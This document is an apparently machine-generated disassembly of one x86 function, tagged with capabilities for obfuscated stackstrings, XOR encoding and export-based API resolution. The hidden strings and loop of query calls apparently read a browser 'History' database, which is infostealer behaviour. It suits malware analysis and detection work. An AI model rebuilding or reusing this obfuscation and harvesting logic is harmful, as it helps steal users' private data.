Function at 0x410af7
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xb8
mov eax, dword [0x42b914]
push ebp
push esi
add eax, 0xffffbc31
mov dword [esp + 0x78], ecx
push edi
mov edi, edx
mov word [0x42b8b4], ax
call fcn.00420368
mov si, word [0x42b8b4]
mov ebp, eax
mov eax, 0xa4ce
xor si, ax
movzx ecx, si
imul ecx, ecx, 0x6fe185cf
mov word [0x42b910], si
mov dword [0x42b8bc], ecx
mov ecx, dword [0x42b914]
xor ecx, 0xecbb
mov word [0x42b8b4], cx
test ebp, ebp
je 0x411271
push ebx
xor ebx, ebx
mov dword [esp + 0x28], 0x314841fa
mov dword [esp + 0x2c], 0x49483e1d
mov ecx, ebx
mov word [esp + 0x30], 0x4744
mov edx, 0xff
mov byte [esp + 0x32], 0x4e
movzx eax, byte [esp + ecx + 0x28]
add ax, 0x2b
and ax, dx
mov word [esp + ecx*2 + 0x94], ax
inc ecx
cmp ecx, 0xb
jl 0x410b83
xor eax, eax
mov word [esp + 0xaa], ax
movzx eax, byte [0x42b928]
xor eax, 0xe33978d5
mov dword [0x42b8bc], eax
mov eax, 0x3c45
or si, ax
movzx eax, si
xor eax, 0xf0694e94
mov word [0x42b8b4], si
mov dword [0x42b8ac], eax
lea eax, [esp + 0x94]
push edi
push eax
call fcn.0042318b
pop ecx
pop ecx
mov cx, word [0x42b910]
mov esi, eax
movzx edx, cx
or cl, 7
xor edx, 0xdbbbbb36
mov dword [esp + 0x88], esi
mov dword [0x42b914], edx
and edx, 0xde68
mov byte [0x42b928], cl
mov word [0x42b910], dx
test esi, esi
je 0x411270
mov ax, word [0x42b8b4]
mov ecx, 0x78f0
add ax, cx
mov ecx, esi
mov word [0x42b910], ax
movzx eax, ax
or eax, 0xef383389
mov dword [0x42b914], eax
mov al, byte [0x42b8bc]
add al, 0x1d
mov byte [0x42b928], al
call fcn.00423320
movzx ecx, byte [0x42b928]
mov esi, eax
mov eax, 0x9f8d
mov dword [esp + 0x84], esi
and cx, ax
mov word [0x42b8b4], cx
test esi, esi
je 0x411254
mov ecx, dword [0x42b914]
xor edx, edx
lea eax, [ecx + 0x39fa]
or ecx, 0x9d2d164c
mov dword [0x42b8ac], ecx
mov ecx, esi
mov word [0x42b910], ax
call fcn.00423bcd
mov ecx, dword [0x42b914]
mov edi, eax
or ecx, 0x9049
mov dword [esp + 0x78], edi
mov word [0x42b910], cx
test edi, edi
je 0x411200
movzx eax, word [0x42b8b4]
movzx ecx, byte [0x42b928]
sub eax, 0x2e160e63
push ebx
mov dword [0x42b8ac], eax
and ecx, 0xe8ecab9a
push 1
lea eax, [esp + 0x84]
mov dword [0x42b914], ecx
push eax
push edi
call dword [ebp + 4]
add esp, 0x10
test eax, eax
jne 0x4111b3
mov dword [esp + 0x44], 0xd3dad3c5
mov ecx, ebx
mov dword [esp + 0x48], 0xe3b6c2d5
mov dword [esp + 0x4c], 0xb6bafae4
mov dword [esp + 0x50], 0xfae2ffe2
mov dword [esp + 0x54], 0xc4d0b6f3
mov dword [esp + 0x58], 0xe3b6dbd9
mov word [esp + 0x5c], 0xfae4
mov byte [esp + 0x5e], 0xe5
mov al, byte [esp + ecx + 0x44]
xor al, 0x96
mov byte [esp + ecx + 0xac], al
inc ecx
cmp ecx, 0x1b
jl 0x410d40
movzx eax, word [0x42b910]
movzx ecx, word [0x42b910]
or eax, 0xcdfaf9f8
mov dword [0x42b8bc], eax
mov eax, 0xed8b
imul ecx, eax
mov eax, dword [0x42b8ac]
or eax, 0x25a35ea3
mov byte [esp + 0xc7], bl
mov dword [0x42b914], eax
lea eax, [esp + 0x24]
push ebx
push eax
push 0xffffffffffffffff
lea eax, [esp + 0xb8]
mov word [0x42b910], cx
push eax
push dword [esp + 0x8c]
call dword [ebp + 8]
add esp, 0x14
test eax, eax
jne 0x41127b
movzx eax, byte [0x42b928]
lea edi, [esp + 0x6c]
xor eax, 0x9620742e
mov dword [0x42b914], eax
movzx eax, word [0x42b8b4]
add eax, 0x4c52424a
mov dword [0x42b8bc], eax
xor eax, eax
stosd dword es:[edi], eax
push dword [esp + 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
movzx eax, byte [0x42b928]
imul eax, eax, 0x7e
add al, 0x2a
movzx ecx, al
mov byte [0x42b928], al
mov eax, 0xce01
imul ecx, eax
mov word [0x42b910], cx
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
jne 0x410ff8
mov dword [esp + 0x34], 0x233b261b
mov word [esp + 0x38], 0x752a
mov byte [esp + 0x3a], 0x6f
mov dword [esp + 0x3c], 0x15f8adb0
mov word [esp + 0x40], 0xdd0f
mov byte [esp + 0x42], 0xc3
mov ecx, ebx
mov al, byte [esp + ecx + 0x34]
xor al, 0x4f
mov byte [esp + ecx + 0x8c], al
inc ecx
cmp ecx, 7
jl 0x410e3e
mov byte [esp + 0x93], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x3c]
add al, 0x5d
mov byte [esp + ecx + 0x28], al
inc ecx
cmp ecx, 7
jl 0x410e5a
mov byte [esp + 0x2f], bl
mov ecx, ebx
mov dword [esp + 0x10], 0x2222eff2
mov dword [esp + 0x14], 0x22222222
mov dword [esp + 0x18], 0x22222222
mov dword [esp + 0x1c], 0x22222222
mov word [esp + 0x20], 0xf222
mov byte [esp + 0x22], 0xef
mov al, byte [esp + ecx + 0x10]
add al, 0x1b
mov byte [esp + ecx + 0x44], al
inc ecx
cmp ecx, 0x13
jl 0x410e9c
imul eax, dword [0x42b8bc], 0x1b2eef0a
lea edx, [esp + 0x8c]
and byte [0x42b928], 0x86
lea ecx, [esp + 0x6c]
push 0xffffffffffffffff
mov byte [esp + 0x5b], bl
mov dword [0x42b8bc], eax
mov eax, dword [0x42b8ac]
and eax, 0x75c027be
mov dword [0x42b914], eax
add eax, 0xff53899
mov dword [0x42b8ac], eax
call fcn.00423aea
mov ecx, dword [0x42b8ac]
mov eax, ecx
push 1
push dword [esp + 0x2c]
or eax, 0xc891
sub cl, 0x65
mov word [0x42b8b4], ax
mov byte [0x42b928], cl
call dword [ebp + 0x20]
add esp, 0xc
push eax
push 1
push dword [esp + 0x2c]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x70]
call fcn.00423aea
mov eax, dword [0x42b8bc]
lea edx, [esp + 0x2c]
add eax, 0xfffff73f
lea ecx, [esp + 0x70]
mov word [0x42b8b4], ax
movzx eax, ax
add eax, 0x32e0be77
mov dword [0x42b8bc], eax
add eax, 0xffff8e14
push 0xffffffffffffffff
mov word [0x42b910], ax
call fcn.00423aea
imul ecx, dword [0x42b8bc], 0xf944
mov eax, dword [0x42b914]
add eax, 0x682a8d29
mov dword [0x42b8ac], eax
push ebx
push dword [esp + 0x30]
movzx eax, cx
add eax, 0x565485ed
mov word [0x42b910], cx
mov dword [0x42b8bc], eax
call dword [ebp + 0x20]
add esp, 0x10
push eax
push ebx
push dword [esp + 0x2c]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x70]
call fcn.00423aea
movzx eax, word [0x42b8b4]
lea edx, [esp + 0x48]
xor eax, 0xe7db0797
lea ecx, [esp + 0x70]
mov dword [0x42b8ac], eax
mov eax, dword [0x42b914]
add eax, 0x179e
push 0xffffffffffffffff
mov word [0x42b910], ax
call fcn.00423aea
push dword [esp + 0x2c]
call dword [ebp + 0xc]
add esp, 0xc
cmp eax, 0x64
je 0x410e3c
imul edx, dword [0x42b8ac], 0x8fcf
mov ecx, dword [0x42b8bc]
xor ecx, 0xaa448b12
mov word [0x42b8b4], dx
cmp dword [esp + 0x6c], ebx
je 0x41117d
mov dword [esp + 0x10], 0xc6c5bb9a
mov esi, 0xff
mov dword [esp + 0x14], 0x81cbc4c1
mov dword [esp + 0x18], 0xb1c5be77
mov dword [esp + 0x1c], 0x80c5be77
mov word [esp + 0x20], 0xcac6
mov byte [esp + 0x22], 0xc6
movzx eax, byte [esp + ebx + 0x10]
sub ax, 0x52
and ax, si
mov word [esp + ebx*2 + 0x44], ax
inc ebx
cmp ebx, 0x13
jl 0x411050
push dword [esp + 0xcc]
xor eax, eax
and ecx, 0x573b4151
push dword [esp + 0x84]
mov word [esp + 0x72], ax
movzx eax, dx
add eax, 0x34e7063b
mov dword [0x42b8bc], ecx
mov dword [0x42b8ac], eax
mov eax, dword [0x42b914]
add eax, 0x7eb
mov word [0x42b910], ax
lea eax, [esp + 0x4c]
push eax
call fcn.0042318b
mov dx, word [0x42b8b4]
mov ecx, 0x8b08
movzx edi, word [0x42b910]
xor cx, dx
mov word [0x42b910], cx
mov esi, eax
movzx ecx, byte [0x42b928]
add edi, 0x6d122819
add esp, 0xc
imul ecx, ecx, 0x9c
mov dword [0x42b8ac], edi
test esi, esi
je 0x411150
mov ecx, dword [0x42b914]
mov eax, ecx
mov edx, dword [esp + 0x74]
or ecx, 0x85e36647
and eax, 0x1932
mov dword [0x42b914], ecx
sub cl, 0x40
mov word [0x42b910], ax
mov byte [0x42b928], cl
lea eax, [edi - 0x7f4ab8fc]
mov ecx, dword [esp + 0x6c]
push esi
mov dword [0x42b8bc], eax
call fcn.0041e8a4
mov eax, 0xe283
and word [0x42b910], ax
push esi
call fcn.004056f0
mov dx, word [0x42b8b4]
pop ecx
pop ecx
mov cl, byte [0x42b928]
push dword [esp + 0x6c]
movzx eax, dx
add cl, 0x75
xor eax, 0xe2afa1
mov byte [0x42b928], cl
mov dword [0x42b914], eax
call fcn.004056f0
mov esi, dword [esp + 0x88]
pop ecx
mov ecx, dword [0x42b8bc]
mov edi, dword [esp + 0x78]
mov al, byte [0x42b8ac]
sub ecx, 0x5949f12b
push dword [esp + 0x24]
and al, 0x6f
mov dword [0x42b8bc], ecx
mov byte [0x42b928], al
mov eax, 0x42b7
add ax, word [0x42b910]
mov word [0x42b8b4], ax
call dword [ebp + 0x18]
pop ecx
mov al, byte [0x42b914]
push dword [esp + 0x7c]
and al, 0x6f
mov byte [0x42b928], al
mov eax, 0x7b34
and word [0x42b910], ax
call dword [ebp + 0x1c]
movzx eax, word [0x42b8b4]
mov ecx, 0x4626
xor eax, 0x3acdfec8
mov dword [0x42b8ac], eax
movzx eax, byte [0x42b928]
add ax, cx
push edi
mov word [0x42b910], ax
call fcn.004056f0
pop ecx
pop ecx
mov al, byte [0x42b8bc]
xor ecx, ecx
or al, 0x72
mov edx, 0x62d87b
mov byte [0x42b928], al
inc ecx
imul eax, dword [0x42b8ac], 0xfccf2667
push esi
mov dword [0x42b914], eax
call fcn.0041568d
call eax
mov al, byte [0x42b8b4]
or al, 0xc5
xor al, 2
mov byte [0x42b928], al
movzx eax, al
sub eax, 0x72be072f
push esi
mov dword [0x42b914], eax
call fcn.004056f0
pop ecx
mov cx, word [0x42b8b4]
push dword [esp + 0x88]
mov eax, 0x3d7c
and cx, ax
mov word [0x42b8b4], cx
call fcn.004056f0
pop ecx
pop ebx
pop edi
pop esi
pop ebp
add esp, 0xb8
ret
mov ecx, dword [0x42b8bc]
jmp 0x411181